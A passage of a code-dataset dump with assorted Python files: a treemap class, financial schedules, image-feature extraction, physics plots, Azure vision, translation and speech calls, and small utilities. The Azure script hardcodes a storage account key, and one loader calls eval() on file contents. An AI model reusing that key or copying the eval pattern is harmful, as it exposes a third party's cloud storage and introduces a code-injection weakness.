full\n    path. E.g., store 'assignments', not '/Users/David/csc148/assignments'\n\n    The data_size attribute for regular files as simply the size of the file,\n    as reported by os.path.getsize.\n    \"\"\"\n    def __init__(self, path):\n        \"\"\"Store the file tree structure contained in the given file or folder.\n\n        Precondition: <path> is a valid path for this computer.\n\n        @type self: FileSystemTree\n        @type path: str\n            The path of the folder/file\n        @rtype: None\n        \"\"\"\n        # Remember that you should recursively go through the file system\n        # and create new FileSystemTree objects for each file and folder\n        # encountered.\n        #\n        # Also remember to make good use of the superclass constructor!\n\n        if os.path.isdir(path):     # if path is a folder\n            subtree = []\n            # path contains either a file or folder\n            for content in os.listdir(path):\n                # create a tree for each path for each children\n                subtree.append(FileSystemTree(os.path.join(path, content)))\n\n            name = os.path.basename(path)\n            super().__init__(name, subtree)     # create AbstractTree\n        else:   # if path directs to a file\n            # Create a tree with root of the file name, with an empty tree as\n            # its child\n            super().__init__(os.path.basename(path), [], os.path.getsize(path))\n\n    def generate_treemap(self, rect):\n        \"\"\"Run the treemap algorithm on this tree and return the rectangles.\n\n        Each returned tuple contains a pygame rectangle and a colour:\n        ((x, y, width, height), (r, g, b)).\n\n        One tuple should be returned per non-empty leaf in this tree.\n\n        @type self: AbstractTree\n        @type rect: (int, int, int, int)\n            Input is in the pygame format: (x, y, width, height)\n        @rtype: list[((int, int, int, int), (int, int, int))]\n        \"\"\"\n        return super().generate_treemap(rect)\n\n    def tree_post_traversal(self):\n        \"\"\"Returns a post order traversal of trees with self\n\n        @rtype: list[<FileSystemTree>]\n            returns a list of <FileSystemTree>\n        \"\"\"\n\n        return super().tree_post_traversal()\n\n    def tree_selected(self, i):\n        \"\"\" Return the tree associated with the pygame rectangle\n\n        @type i: int\n            The index of the tuple in the list created by generate_tree_map\n        @rtype: FileSystemTree\n            The FileSystemTree associated with the pygame rectangle and a colour\n        \"\"\"\n        return self.tree_post_traversal()[i]\n\n    def update_data(self):\n        \"\"\" Update the <data_size> of the tree and its ancestors\n\n        @rtype: None\n        \"\"\"\n\n        super().update_data()\n\n    def display_path(self):\n        \"\"\" Display path to self\n\n        @rtype: str\n            A str of the path to self\n        \"\"\"\n\n        # base case if there is no <_parent_tree> then display the name\n        if self._parent_tree is None:\n            return self._root\n        # recursive step and add the separator with <root> as str\n        else:\n            return self._parent_tree.display_path() + self.get_separator() + \\\n                   self._root\n\n    def increase(self):\n        \"\"\" Increase amount of self by 1%\n\n        @rtype: None\n        \"\"\"\n\n        super().increase()\n\n    def decrease(self):\n        \"\"\" decrease amount of self by 1% up to minium of 1\n\n        @rtype: None\n        \"\"\"\n\n        super().decrease()\n\n    def is_empty(self):\n        \"\"\"Return True if this tree is empty.\n\n        @type self: AbstractTree\n        @rtype: bool\n        \"\"\"\n\n        return super().is_empty()\n\n    def get_separator(self):\n        \"\"\"Return the string used to separate nodes in the string\n        representation of a path from the tree root to a leaf.\n\n        Used by the treemap visualiser to generate a string displaying\n        the items from the root of the tree to the currently selected leaf.\n\n        @type self: AbstractTree\n        @rtype: str\n        \"\"\"\n\n        return os.path.sep\n\n    def get_subtree(self):\n        \"\"\" Return subtree of self\n\n        @rtype: list[Tree]\n            A list of children of self\n        \"\"\"\n\n        return super().get_subtree()\n\nif __name__ == '__main__':\n    import python_ta\n    # Remember to change th2 filesis to check_all when cleaning up your code.\n    python_ta.check_all(config='pylintrc.txt')\n","sub_path":"tree_data.py","file_name":"tree_data.py","file_ext":"py","file_size_in_byte":13133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"456104281","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 07 14:31:53 2016\n\n@author: Dominic O'Kane\n\"\"\"\n\nfrom . import FinError\nfrom .FinCalendar import (FinCalendar, FinCalendarTypes)\nfrom .FinCalendar import (FinDayAdjustTypes, FinDateGenRuleTypes)\nfrom .FinFrequency import (FinFrequency, FinFrequencyTypes)\n\n###############################################################################\n\n\nclass FinSchedule(object):\n\n    ''' A Schedule is a vector of dates generated according to ISDA standard\n    rules which starts on the next date after the start date and runs up to\n    an end date. Dates are adjusted to a provided calendar. The zeroth\n    element is the PCD and the first element is the NCD '''\n\n    def __init__(self,\n                 startDate,\n                 endDate,\n                 frequencyType=FinFrequencyTypes.ANNUAL,\n                 calendarType=FinCalendarTypes.WEEKEND,\n                 busDayAdjustType=FinDayAdjustTypes.FOLLOWING,\n                 dateGenRuleType=FinDateGenRuleTypes.BACKWARD):\n\n        if startDate > endDate:\n            raise FinError(\"Start Date after End Date\")\n\n        if calendarType not in FinCalendarTypes:\n            raise FinError(\"Unknown Calendar type \" + str(calendarType))\n\n        if busDayAdjustType not in FinDayAdjustTypes:\n            raise FinError(\n                \"Unknown Business Day Adjust type \" +\n                str(busDayAdjustType))\n\n        if dateGenRuleType not in FinDateGenRuleTypes:\n            raise FinError(\n                \"Unknown Date Gen Rule type \" +\n                str(dateGenRuleType))\n\n        # validation complete\n        self._startDate = startDate\n        self._endDate = endDate\n        self._frequencyType = frequencyType\n        self._calendarType = calendarType\n        self._busDayAdjustType = busDayAdjustType\n        self._dateGenRuleType = dateGenRuleType\n        self._adjustedDates = None\n\n        self.generate()\n\n###############################################################################\n\n    def flows(self):\n        if self._adjustedDates is None:\n            raise FinError(\"Dates have not been calculated.\")\n\n        return self._adjustedDates\n\n###############################################################################\n\n    def generate(self):\n        ''' Generate schedule of dates according to specified date generation\n        rules and also adjust these dates for holidays according to\n        the business day convention and the specified calendar. '''\n\n        self._adjustedDates = []\n        calendar = FinCalendar(self._calendarType)\n        frequency = FinFrequency(self._frequencyType)\n        numMonths = int(12 / frequency)\n\n        unadjustedScheduleDates = []\n\n        if self._dateGenRuleType == FinDateGenRuleTypes.BACKWARD:\n\n            nextDate = self._endDate\n            flowNum = 0\n\n            while nextDate > self._startDate:\n                unadjustedScheduleDates.append(nextDate)\n                nextDate = nextDate.addMonths(-numMonths)\n                flowNum += 1\n\n            # Add on the Previous Coupon Date\n            unadjustedScheduleDates.append(nextDate)\n            flowNum += 1\n\n            # reverse order and holiday adjust dates\n            for i in range(0, flowNum):\n\n                dt = calendar.adjust(unadjustedScheduleDates[flowNum - i - 1],\n                                     self._busDayAdjustType)\n\n                self._adjustedDates.append(dt)\n\n        elif self._dateGenRuleType == FinDateGenRuleTypes.FORWARD:\n\n            # This needs checking\n            nextDate = self._startDate\n            flowNum = 0\n\n            unadjustedScheduleDates.append(nextDate)\n            flowNum = 1\n\n            while nextDate < self._endDate:\n                unadjustedScheduleDates.append(nextDate)\n                nextDate = nextDate.addMonths(numMonths)\n                flowNum = flowNum + 1\n\n            for i in range(1, flowNum):\n\n                dt = calendar.adjust(unadjustedScheduleDates[i],\n                                     self._busDayAdjustType)\n\n                self._adjustedDates.append(dt)\n\n            self._adjustedDates.append(self._endDate)\n\n        return self._adjustedDates\n\n###############################################################################\n\n    def print(self):\n        ''' Print out the details of the schedule and the actual dates. This\n        can be used for providing transparency on schedule calculations. '''\n        print(\"START DATE:\", self._startDate)\n        print(\"END DATE:\", self._endDate)\n        print(\"FREQUENCY:\", self._frequencyType)\n        print(\"CALENDAR:\", self._calendarType)\n        print(\"BUSDAYRULE:\", self._busDayAdjustType)\n        print(\"DATEGENRULE:\", self._dateGenRuleType)\n        print(\"\")\n\n        if len(self._adjustedDates) > 0:\n            print(\"PCD:\", str(self._adjustedDates[0]))\n\n        if len(self._adjustedDates) > 1:\n            print(\"NCD:\", str(self._adjustedDates[1]))\n\n        if len(self._adjustedDates) > 2:\n            for dt in self._adjustedDates[2:]:\n                print(\"    \", str(dt))\n\n###############################################################################\n","sub_path":"financepy/finutils/FinSchedule.py","file_name":"FinSchedule.py","file_ext":"py","file_size_in_byte":5136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"456605451","text":"import getopt\nimport json\nimport os\n\n# import numpy as np\nimport sys\nfrom collections import OrderedDict\n\nimport datasets\nimport numpy as np\nimport torch\nfrom modeling_frcnn import GeneralizedRCNN\nfrom processing_image import Preprocess\n\nfrom utils import Config\n\n\n\"\"\"\nUSAGE:\n``python extracting_data.py -i <img_dir> -o <dataset_file>.datasets <batch_size>``\n\"\"\"\n\n\nTEST = False\nCONFIG = Config.from_pretrained(\"unc-nlp/frcnn-vg-finetuned\")\nDEFAULT_SCHEMA = datasets.Features(\n    OrderedDict(\n        {\n            \"attr_ids\": datasets.Sequence(length=CONFIG.MAX_DETECTIONS, feature=datasets.Value(\"float32\")),\n            \"attr_probs\": datasets.Sequence(length=CONFIG.MAX_DETECTIONS, feature=datasets.Value(\"float32\")),\n            \"boxes\": datasets.Array2D((CONFIG.MAX_DETECTIONS, 4), dtype=\"float32\"),\n            \"img_id\": datasets.Value(\"int32\"),\n            \"obj_ids\": datasets.Sequence(length=CONFIG.MAX_DETECTIONS, feature=datasets.Value(\"float32\")),\n            \"obj_probs\": datasets.Sequence(length=CONFIG.MAX_DETECTIONS, feature=datasets.Value(\"float32\")),\n            \"roi_features\": datasets.Array2D((CONFIG.MAX_DETECTIONS, 2048), dtype=\"float32\"),\n            \"sizes\": datasets.Sequence(length=2, feature=datasets.Value(\"float32\")),\n            \"preds_per_image\": datasets.Value(dtype=\"int32\"),\n        }\n    )\n)\n\n\nclass Extract:\n    def __init__(self, argv=sys.argv[1:]):\n        inputdir = None\n        outputfile = None\n        subset_list = None\n        batch_size = 1\n        opts, args = getopt.getopt(argv, \"i:o:b:s\", [\"inputdir=\", \"outfile=\", \"batch_size=\", \"subset_list=\"])\n        for opt, arg in opts:\n            if opt in (\"-i\", \"--inputdir\"):\n                inputdir = arg\n            elif opt in (\"-o\", \"--outfile\"):\n                outputfile = arg\n            elif opt in (\"-b\", \"--batch_size\"):\n                batch_size = int(arg)\n            elif opt in (\"-s\", \"--subset_list\"):\n                subset_list = arg\n\n        assert inputdir is not None  # and os.path.isdir(inputdir), f\"{inputdir}\"\n        assert outputfile is not None and not os.path.isfile(outputfile), f\"{outputfile}\"\n        if subset_list is not None:\n            with open(os.path.realpath(subset_list)) as f:\n                self.subset_list = {self._vqa_file_split()[0] for x in tryload(f)}\n        else:\n            self.subset_list = None\n\n        self.config = CONFIG\n        if torch.cuda.is_available():\n            self.config.model.device = \"cuda\"\n        self.inputdir = os.path.realpath(inputdir)\n        self.outputfile = os.path.realpath(outputfile)\n        self.preprocess = Preprocess(self.config)\n        self.model = GeneralizedRCNN.from_pretrained(\"unc-nlp/frcnn-vg-finetuned\", config=self.config)\n        self.batch = batch_size if batch_size != 0 else 1\n        self.schema = DEFAULT_SCHEMA\n\n    def _vqa_file_split(self, file):\n        img_id = int(file.split(\".\")[0].split(\"_\")[-1])\n        filepath = os.path.join(self.inputdir, file)\n        return (img_id, filepath)\n\n    @property\n    def file_generator(self):\n        batch = []\n        for i, file in enumerate(os.listdir(self.inputdir)):\n            if self.subset_list is not None and i not in self.subset_list:\n                continue\n            batch.append(self._vqa_file_split(file))\n            if len(batch) == self.batch:\n                temp = batch\n                batch = []\n                yield list(map(list, zip(*temp)))\n\n        for i in range(1):\n            yield list(map(list, zip(*batch)))\n\n    def __call__(self):\n        # make writer\n        if not TEST:\n            writer = datasets.ArrowWriter(features=self.schema, path=self.outputfile)\n        # do file generator\n        for i, (img_ids, filepaths) in enumerate(self.file_generator):\n            images, sizes, scales_yx = self.preprocess(filepaths)\n            output_dict = self.model(\n                images,\n                sizes,\n                scales_yx=scales_yx,\n                padding=\"max_detections\",\n                max_detections=self.config.MAX_DETECTIONS,\n                pad_value=0,\n                return_tensors=\"np\",\n                location=\"cpu\",\n            )\n            output_dict[\"boxes\"] = output_dict.pop(\"normalized_boxes\")\n            if not TEST:\n                output_dict[\"img_id\"] = np.array(img_ids)\n                batch = self.schema.encode_batch(output_dict)\n                writer.write_batch(batch)\n            if TEST:\n                break\n            # finalizer the writer\n        if not TEST:\n            num_examples, num_bytes = writer.finalize()\n            print(f\"Success! You wrote {num_examples} entry(s) and {num_bytes >> 20} mb\")\n\n\ndef tryload(stream):\n    try:\n        data = json.load(stream)\n        try:\n            data = list(data.keys())\n        except Exception:\n            data = [d[\"img_id\"] for d in data]\n    except Exception:\n        try:\n            data = eval(stream.read())\n        except Exception:\n            data = stream.read().split(\"\\n\")\n    return data\n\n\nif __name__ == \"__main__\":\n    extract = Extract(sys.argv[1:])\n    extract()\n    if not TEST:\n        dataset = datasets.Dataset.from_file(extract.outputfile)\n        # wala!\n        # print(np.array(dataset[0:2][\"roi_features\"]).shape)\n","sub_path":"examples/research_projects/visual_bert/extracting_data.py","file_name":"extracting_data.py","file_ext":"py","file_size_in_byte":5244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"178220002","text":"import unittest\nfrom Menu import Menu\nfrom Item import Item\n\nclass TestMenu(unittest.TestCase):\n    \"\"\" Test the menu class\n    \"\"\"\n\n    menu = None\n\n    def setUp(self):\n        TestMenu.menu = Menu()\n        Item.item_count = 0\n        item1 = Item(\"Pepperoni Pizza\", 10.00)\n        TestMenu.menu.add_item(item1)\n        item2 = Item(\"Veggie Pizza\", 12.00)\n        TestMenu.menu.add_item(item2)\n\n    def test_menu_exists(self):\n        self.assertTrue(isinstance(TestMenu.menu, Menu))\n\n    def test_menu_add_item(self):\n\n        self.assertEqual(2, len(TestMenu.menu.items), \"Wrong number of items in menu\")\n        item = Item(\"Meat Lovers\", 17.00)\n        TestMenu.menu.add_item(item)\n        self.assertEqual(3, len(TestMenu.menu.items))\n\n    def test_menu_message(self):\n        self.assertEqual(str(TestMenu.menu), \"1 Pepperoni Pizza $10.00\\n2 Veggie Pizza $12.00\")\n","sub_path":"TestMenu.py","file_name":"TestMenu.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"587597039","text":"import sys\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nsys.path.insert(0, \"../\")\r\n\r\nimport particle.particle as pt\r\nimport forces.forces as fr\r\nimport solver.solver as sv\r\n\r\n#Function Definitions\r\n\r\ndef grav_force(state, params):\r\n    xp, yp, vxp, vyp, _ = state\r\n    GM, delta_sim = params\r\n    r = np.sqrt(xp**2 + yp**2)\r\n    r_delta = r**(3+delta_sim)\r\n    axp = -((GM*xp)/(r_delta))\r\n    ayp = -((GM*yp)/(r_delta))\r\n    return vxp, vyp, axp, ayp, 1.\r\n\r\ndef euler_cromer(planet, numeric, angles):\r\n    for i in range(6260):\r\n        xc, yc, _, _, tc = planet.get_state()\r\n        t.append(tc)\r\n        ang = planet.get_angle()/np.pi\r\n        angles.append(ang)\r\n        numeric.euler_cromer_step(deltat)\r\n\r\n\r\n#Initial Variables and lists\r\ndeltat = 0.001\r\nm, x0, y0, v0, a0 = 1., 1., 0., 5, 90\r\n\r\ndelta_sim_1 = 0.001\r\ndelta_sim_2 = 0.005\r\ndelta_sim_3 = 0.01\r\ndelta_sim_4 = 0.05\r\ndelta_sim_5 = 0.1\r\n\r\n\r\nsim_params_1 = pt.GM, delta_sim_1\r\nsim_params_2 = pt.GM, delta_sim_2\r\nsim_params_3 = pt.GM, delta_sim_3\r\nsim_params_4 = pt.GM, delta_sim_4\r\nsim_params_5 = pt.GM, delta_sim_5\r\n\r\nplanet_1 = pt.Particle(\"Planet Y\", x0, y0, v0, a0, m)\r\nplanet_1.set_force(fr.Forces(grav_force, sim_params_1))\r\n\r\nplanet_2 = pt.Particle(\"Planet Y\", x0, y0, v0, a0, m)\r\nplanet_2.set_force(fr.Forces(grav_force, sim_params_2))\r\n\r\nplanet_3 = pt.Particle(\"Planet Y\", x0, y0, v0, a0, m)\r\nplanet_3.set_force(fr.Forces(grav_force, sim_params_3))\r\n\r\nplanet_4 = pt.Particle(\"Planet Y\", x0, y0, v0, a0, m)\r\nplanet_4.set_force(fr.Forces(grav_force, sim_params_4))\r\n\r\nplanet_5 = pt.Particle(\"Planet Y\", x0, y0, v0, a0, m)\r\nplanet_5.set_force(fr.Forces(grav_force, sim_params_5))\r\n\r\nt = []\r\nangles_1, angles_2, angles_3, angles_4, angles_5 = [], [], [], [], []\r\ngraph_angles_1, graph_angles_2, graph_angles_3, graph_angles_4, graph_angles_5 = [], [], [], [], []\r\ngraph_time = []\r\n\r\nnumeric_1 = sv.Solver(planet_1, \"Euler-Cromer\", deltat)\r\neuler_cromer(planet_1, numeric_1, angles_1)\r\n\r\nnumeric_2 = sv.Solver(planet_2, \"Euler-Cromer\", deltat)\r\neuler_cromer(planet_2, numeric_2, angles_2)\r\n\r\nnumeric_3 = sv.Solver(planet_3, \"Euler-Cromer\", deltat)\r\neuler_cromer(planet_3, numeric_3, angles_3)\r\n\r\nnumeric_4 = sv.Solver(planet_4, \"Euler-Cromer\", deltat)\r\neuler_cromer(planet_4, numeric_4, angles_4)\r\n\r\nnumeric_5 = sv.Solver(planet_5, \"Euler-Cromer\", deltat)\r\neuler_cromer(planet_5, numeric_5, angles_5)\r\n\r\nval = True\r\ncont = 0\r\ntime = 0\r\nfor i in range(len(angles_1)):\r\n    if(val == True):\r\n        graph_angles_1.append(angles_1[i])\r\n        graph_angles_2.append(angles_2[i])\r\n        graph_angles_3.append(angles_3[i])\r\n        graph_angles_4.append(angles_4[i])\r\n        graph_angles_5.append(angles_5[i])\r\n        graph_time.append(time)\r\n        val = False\r\n    else:\r\n        if(cont == 626):\r\n            time += 1\r\n            graph_angles_1.append(angles_1[i])\r\n            graph_angles_2.append(angles_2[i])\r\n            graph_angles_3.append(angles_3[i])\r\n            graph_angles_4.append(angles_4[i])\r\n            graph_angles_5.append(angles_5[i])\r\n            graph_time.append(time)\r\n            cont = 0\r\n        cont += 1\r\n#Generate Plots\r\n\r\nfig, ax = plt.subplots()\r\n\r\nax.plot(graph_time, graph_angles_1, 'ro', label='0.001')\r\nax.plot(graph_time, graph_angles_2, 'bo', label='0.005')\r\nax.plot(graph_time, graph_angles_3, 'go', label ='0.01')\r\nax.plot(graph_time, graph_angles_4, 'co', label='0.05')\r\nax.plot(graph_time, graph_angles_5, 'yo', label ='0.1')\r\n#ax.plot(xposEulerCromer, yposEulerCromer, '-')\r\n\r\nax.set(xlabel='time (yr)', ylabel='Angle per revolution',\r\n       title='Angles per revolution with different deltas.')\r\nax.grid()\r\n\r\nplt.legend()\r\nplt.show()\r\n","sub_path":"planetaryMotion/tests/test_relativismo.py","file_name":"test_relativismo.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"393472565","text":"import shutil\nimport requests, os, time\nfrom xml.etree import ElementTree\nimport json\nimport sys\nsys.path.append('../../METADATA')\nimport METADATA\nimport os, uuid, sys # 이건 storage를 라\nfrom azure.storage.blob import BlockBlobService, PublicAccess\n\n\n\ndef run_sample():\n        try:\n            print(\"스토리지에 이미지 올리고 해당 이미지의 uri를 이용하여 이미지 분석 준비\")\n            # Create the BlockBlockService that is used to call the Blob service for the storage account\n            block_blob_service = BlockBlobService(account_name='projectimage', account_key='JRchgJJAHjSzDMHMe73/9p65tTQTY7R9v/flqDfZagSTj00JiPXlAqi44B3P4Dkr3htQL3Eq2DAG81DXS7GdTw==')\n\n            # Create a container called 'quickstartblobs'.\n            container_name ='ratice' # 저장소 이름을 대문자 사용하지말자\n            # 대문자는 쓸 수 없는 문자라고 에러를 뱉는다.\n            block_blob_service.create_container(container_name)\n\n            # Set the permission so the blobsd are public.\n            block_blob_service.set_container_acl(container_name, public_access=PublicAccess.Container)\n            # # Create a file in Documents to test the upload and download.\n            local_path=os.path.expanduser(\"~/Documents\")\n            local_file_name =\"secondEx.jpeg\"\n            storage_url = METADATA.storage_url\n            blob_url = storage_url + local_file_name\n\n            full_path_to_file =os.path.join(local_path, local_file_name)\n\n            block_blob_service.create_blob_from_path(container_name, local_file_name, full_path_to_file)\n\n            result_image_analyze = use_describe_image_api(blob_url)\n            result_tran = translate_ko(result_image_analyze)\n            print(\"이미지 분석 결과:  \", result_tran)\n            return result_tran\n\n        except Exception as e:\n            print(e)\n\ndef use_describe_image_api(blob_url_des):\n        params = {  #또 다른 정보\n        'visualFeatures': 'Description',\n        'langage': 'en'\n        }\n\n        headers = { #우리가 보내는 데이터 타입\n        'Content-Type': 'application/json',\n        'Ocp-Apim-Subscription-Key': METADATA.VISION_KEY # 메타 데이터엣 있는 것을 임포트 하여 사용함\n        }\n\n        data = {\n        'url': blob_url_des\n        }\n\n        res = requests.post('https://koreacentral.api.cognitive.microsoft.com/vision/v1.0/analyze',\n                        params=params, headers=headers, json=data)\n\n        res_dit = json.loads(res.text)\n        subscribed_text = res_dit[\"description\"][\"captions\"][0][\"text\"]\n        print(\" 이미지 분석 함수 호출되어 텍스트로 변환 완료(영문) \")\n        return subscribed_text\n\ndef translate_ko( result_en):\n        non_subscribed_text =  result_en\n\n        params = {  #또 다른 정보\n            'api-version': '3.0',\n            'from': 'en',\n            'to' : 'ko'\n                 }\n\n        headers = { #우리가 보내는 데이터 타입\n            'Content-Type': 'application/json',\n            'Ocp-Apim-Subscription-Key': METADATA.TRANSLATE_KEY # 메타 데이터엣 있는 것을 임포트 하여 사용함\n        }\n\n        data = [{    #사진 자료\n            'text' : non_subscribed_text # 이미지를 텍스트로 만들어서 이것을 번역하기 위한 데이터로 사용한다.\n        }]\n\n        res = requests.post('https://api.cognitive.microsofttranslator.com/translate',\n                                params=params, headers=headers, json=data)\n        res_dict = json.loads(res.text)\n        result = res_dict[0]['translations'][0]['text'] # 여기 이 딕셔너리로 어떻게 원하는 값을 도출하는지 알아보자 !!\n        print(\"한국어 번역 함수 호출되어서 번역 완료됨\")\n        return result\n       \n\nclass TextToSpeech(object):\n    def __init__(self, subscription_key, kimchi):\n        self.subscription_key = subscription_key\n        self.tts = kimchi\n        self.timestr = time.strftime(\"%Y%m%d-%H%M\")\n        self.access_token = None\n\n    '''\n    The TTS endpoint requires an access token. This method exchanges your\n    subscription key for an access token that is valid for ten minutes.\n    '''\n    def get_token(self):\n        fetch_token_url = \"https://westus.api.cognitive.microsoft.com/sts/v1.0/issueToken\"\n        headers = {\n            'Ocp-Apim-Subscription-Key': self.subscription_key\n        }\n        response = requests.post(fetch_token_url, headers=headers)\n        self.access_token = str(response.text)\n\n    def save_audio(self):\n        base_url = 'https://westus.tts.speech.microsoft.com/'\n        path = 'cognitiveservices/v1'\n        constructed_url = base_url + path\n        headers = {\n            'Authorization': 'Bearer ' + self.access_token,\n            'Content-Type': 'application/ssml+xml',\n            'X-Microsoft-OutputFormat': 'riff-24khz-16bit-mono-pcm',\n            'User-Agent': 'Speech_API'\n        }\n        xml_body = ElementTree.Element('speak', version='1.0')\n        xml_body.set('{http://www.w3.org/XML/1998/namespace}lang', 'ko-kr')\n        voice = ElementTree.SubElement(xml_body, 'voice')\n        voice.set('{http://www.w3.org/XML/1998/namespace}lang', 'ko-KR')\n        voice.set('name', 'Microsoft Server Speech Text to Speech Voice (ko-KR, HeamiRUS)')\n        voice.text = self.tts\n        body = ElementTree.tostring(xml_body)\n\n        response = requests.post(constructed_url, headers=headers, data=body)\n        '''\n        If a success response is returned, then the binary audio is written\n        to file in your working directory. It is prefaced by sample and\n        includes the date.\n        '''\n        if response.status_code == 200:\n            with open('sample-' + self.timestr + '.mp3', 'wb') as audio:\n                audio.write(response.content)\n                print(\"\\nStatus code: \" + str(response.status_code) + \"\\nYour TTS is ready for playback.\\n\")\n        else:\n            print(\"\\nStatus code: \" + str(response.status_code) + \"\\nSomething went wrong. Check your subscription key and headers.\\n\")\n\n\n\n\nif __name__ == '__main__':\n    subscription_key = METADATA.SOUND_KEY\n    # run_sample()\n    kimchi = run_sample()       #여기 때문에 run_sample() 2번 실행 됨..\n    app = TextToSpeech(subscription_key, kimchi)\n    app.get_token()\n    app.save_audio()  ","sub_path":"project1(vision)/tran_test_first.py","file_name":"tran_test_first.py","file_ext":"py","file_size_in_byte":6368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"178836711","text":"from django.conf import settings\nfrom django.core.management import BaseCommand\nfrom elasticsearch.helpers import bulk\n\nfrom main.models import Url\n\n\nclass Command(BaseCommand):\n    def bulk_data(self, data):\n        bulk(client=settings.ES_CLIENT, actions=data, stats_only=True)\n\n    def handle(self, *args, **options):\n        data = []\n        for i, url in enumerate(Url.objects.all()):\n            if i % 100 == 0:\n                self.bulk_data(data)\n                data = []\n            data.append(url.document())\n        if data:\n            self.bulk_data(data)\n","sub_path":"url_search/main/management/commands/bulk_urls.py","file_name":"bulk_urls.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"444846341","text":"\n# @channel\n# みな時間があったら、やってみない:question:\n# 四捨五入の関数を作る。\n# 多分仕事や遊びや時に偶に必要があるかも\n\n# Let's make a function to round numbers!\ndef my_round(num, digit=0):\n\n    # 引数チェック。\n    if not (isinstance(num, int) or isinstance(num, float) or isinstance(digit, int)):\n        return False\n\n    # 整数部と小数部。\n    _ = str(num).split('.')\n\n    # digitで表された桁の右が5以上なら繰り上がりをTrueに。(小数部の場合)\n    if digit >= 0:\n        f_part = list(map(int, str(_[1]))) if len(_)==2 else [0]\n        up = digit < len(f_part) and f_part[digit] >= 5\n\n    # digitで表された桁の右が5以上なら繰り上がりをTrueに。(整数部の場合)\n    else:\n        i_part = list(map(int, str(_[0])))\n        up = -digit < len(i_part) and list(reversed(i_part))[-digit] >= 5\n\n    # 繰り上がりが起こるなら行って返す。digitより下の桁は切り落とす。\n    return int((num + 1 * 10**-digit if up else num) * 10**digit) / 10**digit\n\n\ncases = [\n    [1.9001, None],  # 2\n    [2.03, None],  # 2\n    [2.5, None],  # 3\n    [2.999, None],  # 3\n    [2.4999999, None],  # 2\n    [2.0, None],  # 2\n\n    [1.55, 1],  # 1.6\n    [123.456, -3],  # 0.0\n    [123.456, 3],  # 123.456\n]\nfor case in cases:\n    if case[1]:\n        print(my_round(case[0], case[1]))\n    else:\n        print(my_round(case[0]))\n","sub_path":"(2018-09-14)マイ四捨五入/マイ四捨五入.py","file_name":"マイ四捨五入.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"428245050","text":"from abc import *\nfrom structures.collections import MentionCluster\n\n\n###########################################################\nclass AbstractOracle(object):\n\n    @abstractmethod\n    def initialize(self, mentions):\n        return\n\n    @abstractmethod\n    def next(self):\n        return\n\n    @staticmethod\n    def extract_labels(mentions):\n        m2labels = dict()\n        for mention in mentions:\n            m2labels[mention] = mention.referent\n            mention.referent = None\n        return m2labels\n\n\n###########################################################\nclass SequentialStaticOracle(AbstractOracle):\n    def __init__(self, mentions):\n        self.m_idx = self.mentions = None\n        self.m2labels = self.m2clusters = None\n        self.curr_mentions = self.curr_clusters = None\n\n        self.initialize(mentions)\n\n    def initialize(self, mentions):\n        self.m_idx = 0\n        self.mentions = mentions\n\n        self.curr_mentions = set()\n        self.curr_clusters = dict()\n\n        self.m2labels = self.extract_labels(mentions)\n\n    def mention_to_cluster_map(self):\n        m_l2cluster = dict()\n        for label in set(self.m2labels.values()):\n            m_l2cluster[label] = MentionCluster()\n\n        m_m2cluster = dict()\n        for mention in self.m2labels.keys():\n            cluster = m_l2cluster[self.m2labels[mention]]\n            cluster.append(mention)\n\n            m_m2cluster[mention] = cluster\n        return m_m2cluster\n\n    def all_clusters(self):\n        m_l2cluster = dict()\n        for label in set(self.m2labels.values()):\n            m_l2cluster[label] = MentionCluster()\n\n        for mention in self.m2labels.keys():\n            m_l2cluster[self.m2labels[mention]].append(mention)\n        return m_l2cluster.values()\n\n    def next(self):\n        if self.m_idx < len(self.mentions):\n            mention = self.mentions[self.m_idx]\n            self.m_idx += 1\n\n            label = self.m2labels[mention]\n            if label not in self.curr_clusters.keys():\n                self.curr_clusters[label] = MentionCluster()\n\n            pos_cluster = self.curr_clusters[label]\n            neg_clusters = self.curr_clusters.values()\n            neg_clusters.remove(pos_cluster)\n\n            updated_cluster = MentionCluster(pos_cluster)\n            updated_cluster.append(mention)\n            self.curr_clusters[label] = updated_cluster\n\n            return mention, pos_cluster, neg_clusters\n\n        return None, None, None\n","sub_path":"python/components/oracles.py","file_name":"oracles.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"349527858","text":"def distance(finger, number):\n    if finger == 0:\n        fin_x = 1\n        fin_y = 3\n    elif finger == '*':\n        fin_x = 0\n        fin_y = 3\n    elif finger == '#':\n        fin_x = 2\n        fin_y = 3\n    else:\n        fin_x = (finger-1)%3\n        fin_y = (finger-1)//3\n    \n    num_x = 1\n    if number == 0:\n        num_y = 3\n    else:\n        num_y = (number-1)//3\n    \n    return abs(fin_x-num_x) + abs(fin_y-num_y)\n\ndef solution(numbers, hand):\n    answer = ''\n    left = '*'\n    right = '#'\n    isRightHand = True\n    if hand == 'left':\n        isRightHand = False\n    \n    for number in numbers:\n        if number in [1, 4, 7]:\n            answer += 'L'\n            left = number\n        elif number in [3, 6, 9]:\n            answer += 'R'\n            right = number\n        else:\n            lton = distance(left, number)\n            rton = distance(right, number)\n            print(lton, rton)\n            if lton < rton:\n                answer += 'L'\n                left = number\n            elif lton > rton:\n                answer += 'R'\n                right = number\n            else:\n                if isRightHand:\n                    answer += 'R'\n                    right = number\n                else:\n                    answer += 'L'\n                    left = number\n    \n    return answer\n","sub_path":"Algorithm/Python/Programmers/2020 Summer Intern/kakao 1.py","file_name":"kakao 